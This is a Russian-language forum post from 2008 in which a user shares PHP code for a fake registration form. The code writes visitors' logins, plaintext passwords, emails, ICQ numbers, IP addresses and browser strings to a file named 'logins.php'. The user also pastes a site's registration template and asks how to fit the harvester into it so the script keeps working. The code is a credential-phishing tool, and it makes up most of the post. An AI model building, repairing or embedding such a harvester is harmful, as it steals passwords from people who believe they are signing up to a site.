
11.01.2008, 03:36
|
|
Познающий
Регистрация: 15.03.2007
Сообщений: 39
Провел на форуме: 132616
Репутация:
10
|
|
вот код php:
PHP код:
<?
$filename = "logins.php";
if (!is_file($filename) || !is_writable($filename)) {
echo "<center>Файл '$filename' не найден !</center>";
exit();
}
function reglog() {
global $filename, $name, $password1, $password2, $email, $icq, $HTTP_X_REAL_IP, $HTTP_USER_AGENT;
$d = date("d.m.Y - H:i:s");
$str = "
Логин: [$name]
Пароль: [$password1]
Е-майл: [$email]
HoMep: [$icq]
Кто: [user]
Статус: [*off*]
IP: $HTTP_X_REAL_IP
Browser $HTTP_USER_AGENT
======================
";
$f = fopen($filename, "a");
fwrite($f, "$str\n");
fclose($f);
err(5);
}
if ($name) reglog();
show();
function show() {
?>
<form action="" method="post" name="f">
Логин<br>
<td width="75%"><input type="text" maxlength="15" name="name" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0;"><br>
Пароль<br>
<input type="password" maxlength="15" name="password1" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Пароль еще раз<br>
<input type="password" maxlength="15" name="password2" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
E-mail<br>
<input type="text" name="email" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Номер ICQ<br>
<input type="text" maxlength="15" name="icq" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 ">
<br>
<input type="submit" value="Отправить">
</form>
<? } ?>
ЕГО а не В него нужно вставить вот этот .tpl
Код:
<div align="center">
<table width="100%"
cellSpacing=0 cellPadding=0 width="100%">
<tr>
<td height="24" background="{THEME}/images/news_header.gif"> <b>[registration]Регистрация нового пользователя[/registration][validation]Обновление профиля пользователя[/validation]</b></td>
<td height="24" background="{THEME}/images/news_header.gif" align="right">Категория: Регистрация </td>
</tr>
<tr>
<td style="padding-left: 3px; padding-right: 3px"></td>
<td align="right" style="padding-left: 3px; padding-right: 3px"></td>
</table>
<table width="99%" cellSpacing=0 cellPadding=0 width="100%">
<tr>
<td width="100%" style="padding-left: 3px; padding-right: 3px">
[registration]Добрый день уваbla blah ан.<br>
blabla
</font>[/registration]
[validation]Уважаемый посbla профиле.[/validation]<br><br>
<center>
[registration]
Логин<br>
<input type="text" name="name" id='name' style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0;"><br>
<input style="height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0; background: #FFF;" title="Проверить доступность логина для регистрации" onclick="CheckLogin(); return false;" type=button value="Проверить имя"><div id='result-registration'><br>
Пароль<br>
<input type="password" name="password1" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Повторите пароль<br>
<input type="password" name="password2" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Ваш E-Mail<br>
<input type="text" name="email" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
[sec_code]
<b>Подтверждение кода безопасности</b><br><br>
Код безопасности<br>
{reg_code}
Введите код<br>
<input type="text" name="sec_code" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
[/sec_code]
[/registration]
[validation]
Ваше имя<br>
<input type="text" name="fullname" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Место жительства<br>
<input type="text" name="land" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Номер ICQ<br>
<input type="text" name="icq" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Фото:<br>
<input type="file" name="image" style="width:278px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
О себе<br>
<textarea name=info style="width:320px; height:70px; font-family:verdana; font-size:11px; border:1px solid #E0E0E0 "></textarea><br>
[/validation]
<input style="height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0; background: #FFF;" title="Отправить" type="submit" value="Отправить" class="btn">
</center>
</td>
</tr>
<tr>
<td width="100%" style="padding-left: 3px; padding-right: 3px; padding-bottom: 3px; padding-top: 3px;"></td>
</tr>
</table>
</div>
и инклудовал и как только не пробывал не получается у меня! Нужно еще и чтобы скрипт работал! помогите пжлст.
Последний раз редактировалось -=Dem0n=-; 11.01.2008 в 03:40..
|
|
|